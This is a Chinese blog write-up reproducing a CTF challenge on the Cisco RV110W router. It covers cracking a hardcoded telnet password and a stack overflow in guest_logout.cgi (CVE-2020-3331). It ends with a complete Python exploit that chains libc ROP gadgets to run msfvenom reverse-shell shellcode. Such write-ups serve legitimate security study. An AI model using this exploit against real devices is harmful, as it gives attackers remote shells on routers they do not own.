强网杯2020决赛 Cisco RV110W路由器复现

mips 基础知识

再次感谢轩哥和轩哥媳妇送的cheatsheet

mips架构为RISC,常见的mips芯片流水线操作为五级

IF = instruction fetch 指令提取阶段

ID = Instruction decode 指令译码阶段

EX = 执行阶段

MEM = 存储器访问阶段

WB = 寄存器写回阶段

以i对应的时刻往后推移,最早的指令已经到了WB阶段,最新的指令正在进行指令提取。对于跳转/分支指令,当其到达执行阶段且新的程序计数器意已经产生时,紧随其后的下一条指令实际上已经开始执行了,mips规定分支之后的指令总是在分支目标指令之前进行,紧随分支指令之后的位置称为分支延迟槽,在没有任何可用操作时,延迟槽将填充nop占位。

关于调用约定,常用的mips寄存器作用如下

  • $a0“ – “$a3“:函数调用时的参数传递,若参数超过 4 个,则多余的使用堆栈传递
  • $t0“-“$t7“:临时寄存器
  • $s0“ – “$s7“:保存寄存器,使用时需将用到的寄存器保存到堆栈
  • $gp“:全局指针,用于取数据(32K访问内);“$sp“:栈指针,指向栈顶
  • $fp“:栈帧指针;
  • $ra“:存储返回地址;

其他的参见最上面的图:-)

比较重要的一点是,当本函数是叶子函数的时候(即不会再调用其他函数),ra寄存器是不会入栈的;非叶子函数的时候,ra寄存器入栈,有可以通过栈溢出来劫持控制流的机会。

cisco路由器 RV110W 漏洞复现

题目固件:https://xuanxuanblingbling.github.io/assets/attachment/RV110W_FW_1.2.2.5.bin

虽然网上有docker环境可以用,但是还是建议买一个实体机,某鱼上有

基础分析

端口扫描,扫描常用端口,发现开了telnet,和web服务的端口,并且经过curl测试,80会重定向到443

固件解包,直接用binwalk,需要安装sasquatch以解开非标准的SquashFS文件系统

sudo apt-get install zlib1g-dev liblzma-dev liblzo2-dev
git clone https://github.com/devttys0/sasquatch
(cd sasquatch && ./build.sh)

漏洞信息

根据xuanxuan师傅的描述,当时考虑是1day,就开始搜cve

在符合赛题要求的前提下找到三个相关漏洞CVE-2020-3330(telnet弱口令),CVE-2020-3331 & CVE-2020-3323(Web服务)

telnet弱口令

https://blogs.360.cn/post/yi-ge-zi-jie-cha-cuo-dao-zhi-Cisco-fang-huo-qiang-lu-you-qi-yuan-cheng-dai-ma-zhi-xing.html

可以看到打码并没有打全2333

全局搜索下这个字符串find . | xargs grep -ri "aUzX1IiE"

发现匹配的都在sbin目录下,并且大多软连接到rc文件

ls -al _sbin.png

直接strings rc,网上随便找个在线的hash解密网站一把梭

然后就可以telnet到路由器了,注意,明确一点,虽然getshell,但是,这只是方便我们本地调试,远程并没有开telnet服务,只有443端口开了

漏洞挖掘

这两个cve都说的是web漏洞,所以我们要先找到web对应的binary

在浏览器端访问网址的时候,对应的url为10.10.10.1/login.cgi,所以全局搜索下

只有httpd匹配

因为发现文件系统中有wget可以用,也可以利用本机起一个简单的http-server,通过telnet到路由器下载一个包含netstat的busybox,不过懒,就没搞

然后将二进制程序载入ida,因为有新版本的固件,使用diaphora diff一下

因为目标是前台getshell,所以guest_logout_cgi比较可疑,查看伪代码如下

发现砍了sscanf

其中sscanf的条件"%[^;];%*[^=]=%[^\n]"里,% 表示选择,%* 表示过滤,中括号括起来的是类似正则

  1. %[^;]:分号前的所有字符都要
  2. ;%*[^=]:分号后,等号前的字符都不要
  3. =%[^\n]:等号后,换行符前的所有字符都要

也就是说,如果输入字符串”aaa;bbb=ccc”,会将aaa和ccc写入对应变量,并没有限制长度,会导致栈溢出

分析一下如何到达这个sscanf所在分支

  1. cmac:mac地址格式
  2. cip:ipv4地址格式
  3. submit_button:包含status_guestnet.asp字符串

继续测试漏洞,通过发包测试来判断参数是通过GET参数传递还是通过POST参数来传递的

Get.py

import requests

url = "https://10.10.10.1/guest_logout.cgi"
payload = {"cmac":"12:af:aa:bb:cc:dd","submit_button":"status_guestnet.asp"+'a'*100,"cip":"192.168.1.100"}
print(payload)
requests.packages.urllib3.disable_warnings()
requests.get(url, data=payload, verify=False)

Post.py

import requests

url = "https://10.10.10.1/guest_logout.cgi"
payload = {"cmac":"12:af:aa:bb:cc:dd","submit_button":"status_guestnet.asp"+'a'*100,"cip":"192.168.1.100"}
requests.packages.urllib3.disable_warnings()
requests.post(url, data=payload, verify=False, timeout=1)

经过测试发现是通过post来传递参数的(post发过去就崩了,就像平常的pwn程序崩溃一样)

然后具体调试下,本地开个服务器,路由器作客户端下载个gdbserver过来

http-server.png

感谢海特实验室搜集的各种gdbserver,感谢X1ng师傅试出来gdbserver-7.12-mipsel-mips32rel2-v1-sysv可以用

https://gitee.com/h4lo1/HatLab_Tools_Library/tree/master/%E9%9D%99%E6%80%81%E7%BC%96%E8%AF%91%E8%B0%83%E8%AF%95%E7%A8%8B%E5%BA%8F/gdbserver

注意,下到tmp目录,其他目录不可写

通过ps查看httpd的进程号ps | grep httpd,然后gdbserver挂一下

gdbserver.png

然后远程gdb调remote

gdb-multiarch -q httpd	# quiet
set arch mips
set endian little
target remote 10.10.10.1:1234
c

payload 用cyclic生成的字符一发打过去果然崩溃了

算下偏移,注意到pc指针现在的值

漏洞利用

mips架构硬件并不支持nx,所以利用方式通常为劫持程序流执行shellcode

由于sscanf栈溢出,所以不能有空字节,而程序本身的gadget都是有空字节的。。。

这时候自然想到用libc的gadget,但是,比较诡异的一点是,它的libc基址每次都不变:

思科的这个设备,httpd进程的libc基址就是2af98000,无论你是重启进程,还是升级版本,这个基址都不变

问了常老师,再次猜测可能是为了效率,编译的时候就把内核的这个功能干掉了,或者当前平台压根就不支持这个功能。先存疑,总之我们发现动态库的基址都是不变的,故我们可以使用程序加载的动态库中的gadget。

彳亍,那就用mipsrop来找gadget,虽然有很多动态库,但是选libc比较好,用ida加载/lib/libc.so.0

mipsrop.help()可查看用法

因为要控制register,所以找能将栈地址加载进寄存器的gadget

两条很有用的gadget

|  0x000257A0  |  addiu $a0,$sp,0x58+var_40  |  jalr  $s0  |
| 0x0003D050 | move $t9,$a0 | jalr $a0 |

利用手法:将shellcode写入到$sp + 0x10的位置处,然后覆盖s0为第二条gadget的地址,将ra寄存器覆盖为第一条gadget的地址

这样会造成什么效果呢?程序返回时,程序执行流被控制为0x257a0,去执行第一条gadget,a0 = sp + 0x18,jmp到s0寄存器,s0寄存器存的是第二条gadget,继而去执行第二条gadget,将a0放到t9,然后jmp到a0,a0存的是shellcode的地址,于是程序就会执行shellcode

shellcode生成用msfvenom,生成的shellcode没有\x00字节的存在,生成一个回连的shell

msf.png

exp如下:

import requests
from pwn import *

context.arch = 'mips'
context.endian = 'little'
context.os = 'linux'

libc = 0x2af98000
jmp_a0 = libc + 0x0003D050 # move $t9,$a0 ; jalr $a0
jmp_s0 = libc + 0x000257A0 # addiu $a0,$sp,0x38+var_20 ; jalr $s0

shellcode = ""
shellcode += "\xfa\xff\x0f\x24\x27\x78\xe0\x01\xfd\xff\xe4\x21\xfd"
shellcode += "\xff\xe5\x21\xff\xff\x06\x28\x57\x10\x02\x24\x0c\x01"
shellcode += "\x01\x01\xff\xff\xa2\xaf\xff\xff\xa4\x8f\xfd\xff\x0f"
shellcode += "\x34\x27\x78\xe0\x01\xe2\xff\xaf\xaf\x22\xb8\x0e\x3c"
shellcode += "\x22\xb8\xce\x35\xe4\xff\xae\xaf\x0a\x64\x0e\x3c\x0a"
shellcode += "\x0a\xce\x35\xe6\xff\xae\xaf\xe2\xff\xa5\x27\xef\xff"
shellcode += "\x0c\x24\x27\x30\x80\x01\x4a\x10\x02\x24\x0c\x01\x01"
shellcode += "\x01\xfd\xff\x11\x24\x27\x88\x20\x02\xff\xff\xa4\x8f"
shellcode += "\x21\x28\x20\x02\xdf\x0f\x02\x24\x0c\x01\x01\x01\xff"
shellcode += "\xff\x10\x24\xff\xff\x31\x22\xfa\xff\x30\x16\xff\xff"
shellcode += "\x06\x28\x62\x69\x0f\x3c\x2f\x2f\xef\x35\xec\xff\xaf"
shellcode += "\xaf\x73\x68\x0e\x3c\x6e\x2f\xce\x35\xf0\xff\xae\xaf"
shellcode += "\xf4\xff\xa0\xaf\xec\xff\xa4\x27\xf8\xff\xa4\xaf\xfc"
shellcode += "\xff\xa0\xaf\xf8\xff\xa5\x27\xab\x0f\x02\x24\x0c\x01"
shellcode += "\x01\x01"

pd1 = "status_guestnet.asp" + 'a' * 49 + \
p32(jmp_a0) + 'b' * (85 - 49 - 4) + p32(jmp_s0) + 'c' * 0x18 + shellcode

url = "https://10.10.10.1/guest_logout.cgi"
pd2 = {
"cmac": "12:af:aa:bb:cc:dd",
"submit_button": pd1,
"cip": "192.168.1.100"
}

requests.packages.urllib3.disable_warnings()
requests.post(url, data=pd2, verify=False, timeout=1)

Reference

https://xuanxuanblingbling.github.io/iot/2020/10/26/rv110w/

https://www.anquanke.com/post/id/224301#h3-7

https://www.somd5.com/

https://github.com/firmianay/IoT-vulhub/tree/master/Cisco/CVE-2020-3331

https://ctf-wiki.org/pwn/linux/user-mode/stackoverflow/mips/rop/

文章作者: Alex
文章链接: http://example.com/2021/08/31/Real-World-Cisco-RV110W/
版权声明: 本博客所有文章除特别声明外,均采用 CC BY-NC-SA 4.0 许可协议。转载请注明来自 Alex's blog~